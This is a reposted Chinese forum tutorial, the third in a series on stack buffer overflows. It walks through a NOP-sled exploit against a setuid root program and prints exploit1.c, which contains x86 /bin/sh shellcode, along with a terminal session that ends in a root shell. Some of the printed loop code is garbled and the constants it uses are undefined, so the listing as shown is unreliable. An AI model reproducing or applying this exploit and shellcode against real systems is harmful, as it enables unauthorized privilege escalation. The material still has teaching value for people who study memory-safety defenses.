返回列表 发帖

[转帖]堆栈溢出系列讲座(3)

堆栈溢出系列讲座(3)(转)  利用堆栈溢出获得shell 现在让我们进入最刺激的一讲,利用别人的程序的堆栈溢出获得rootshell。我们将面对 一个有strcpy堆栈溢出漏洞的程序,利用前面说过的方法来得到shell。 回想一下前面所讲,我们通过一个shellcode数组来存放shellcode,利用程序中的strcpy 函数,把shellcode放到了程序的堆栈之中;我们制造了数组越界,用shellcode的开始地 址覆盖了程序(overflow.c)的返回地址,程序在返回的时候就会去执行我们的 shellcode,从而我们得到了一个shell。 当我们面对别人写的程序时,为了让他执行我们的shellcode,同样必须作这两件事: 1:把我们的shellcode提供给他,让他可以访问shellcode。 2:修改他的返回地址为shellcode的入口地址。 为了做到这两条,我们必须知道他的strcpy(buffer,ourshellcode)中,buffer的地址。 因为当我们把shellcode提供给strcpy之后,buffer的开始地址就是shellcode的开始地址 ,我们必须用这个地址来覆盖堆栈才成。这一点大家一定要明确。 我们知道,对于操作系统来说,一个shell下的每一个程序的堆栈段开始地址都是相同的 。我们可以写一个程序,获得运行时的堆栈起始地址,这样,我们就知道了目标程序堆栈 的开始地址。 下面这个函数,用eax返回当前程序的堆栈指针。(所有C函数的返回值都放在eax寄存器 里面): ------------------------------------------------------------------------ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } ------------------------------------------------------------------------ 我们在知道了堆栈开始地址后,buffer相对于堆栈开始地址的偏移,是他程序员自己 写出来的程序决定的,我们不知道,只能靠猜测了。不过,一般的程序堆栈大约是几K 左右。所以,这个buffer与上面得到的堆栈地址,相差就在几K之间。 显然猜地址这是一件很难的事情,从0试到10K,会把人累死的。 前面我们用来覆盖堆栈的溢出字符串为: SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 现在,为了提高命中率,我们对他进行如下改进: 用来溢出的字符串变为: NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA 其中: N为NOP.NOP指令意思是什么都不作,跳过一个CPU指令周期。在intel机器上, NOP指令的机器码为0x90。 S为shellcode。 A为我们猜测的buffer的地址。这样,A猜大了也可以落在N上,并且最终会执行到 S. 这个改进大大提高了猜测的命中率,有时几乎可以一次命中。:))) 好了,枯燥的算法分析完了,下面就是利用./vulnerable1的堆栈溢出漏洞来得到 shell的程序: exploit1.c ------------------------------------------------------------------------ char shellcode[]=  "\xeb\x1f"/* jmp 0x1f*/  "\x5e"/* popl %esi */  "\x89\x76\x08"/* movl %esi,0x8(%esi) */  "\x31\xc0"/* xorl %eax,%eax*/  "\x88\x46\x07"/* movb %eax,0x7(%esi) */  "\x89\x46\x0c"/* movl %eax,0xc(%esi) */  "\xb0\x0b"/* movb $0xb,%al */  "\x89\xf3"/* movl %esi,%ebx*/  "\x8d\x4e\x08"/* leal 0x8(%esi),%ecx */  "\x8d\x56\x0c"/* leal 0xc(%esi),%edx */  "\xcd\x80"/* int $0x80 */  "\x31\xdb"/* xorl %ebx,%ebx*/  "\x89\xd8"/* movl %ebx,%eax*/  "\x40"/* inc %eax*/  "\xcd\x80"/* int $0x80 */  "\xe8\xdc\xff\xff\xff"/* call -0x24*/  "/bin/sh";/* .string \"/bin/sh\" */ unsigned long get_sp(void) {  __asm__("movl %esp,%eax"); } main(int argc,char **argv) {  char buff[RET_POSITION+RANGE+1],*ptr;  long addr;  unsigned long sp;  int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;  int i;  if(argc>1)  offset=atoi(argv[1]);  sp=get_sp();  addr=sp-offset;  for(i=0;i))=addr;  for(i=0;i=NOP;  ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;  for(i=0;i;  buff[bsize-1]=';\0';;  //现在buff的内容为  //NNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA\0  printf("Jump to 0x%08x\n",addr);  execl("./vulnerable1","vulnerable1",buff,0); } ------------------------------------------------------------------------ execl用来执行目标程序./vulnerable1,buff是我们精心制作的溢出字符串, 作为./vulnerable1的参数提供。 以下是执行的结果: ------------------------------------------------------------------------ [nkl10]$ls -l vulnerable1 -rwsr-xr-x 1 root root xxxx jan 10 16:19 vulnerable1* [nkl10]$ ls -l exploit1 -rwxr-xr-x 1 ipxodi cinipxxxx Oct 18 13:20 exploit1* [nkl10]$ ./exploit1 Jump to 0xbfffec64 Segmentation fault [nkl10]$ ./exploit1 500 Jump to 0xbfffea70 bash# whoami root bash# ------------------------------------------------------------------------ 恭喜,恭喜,你获得了root shell。

返回列表 回复 发帖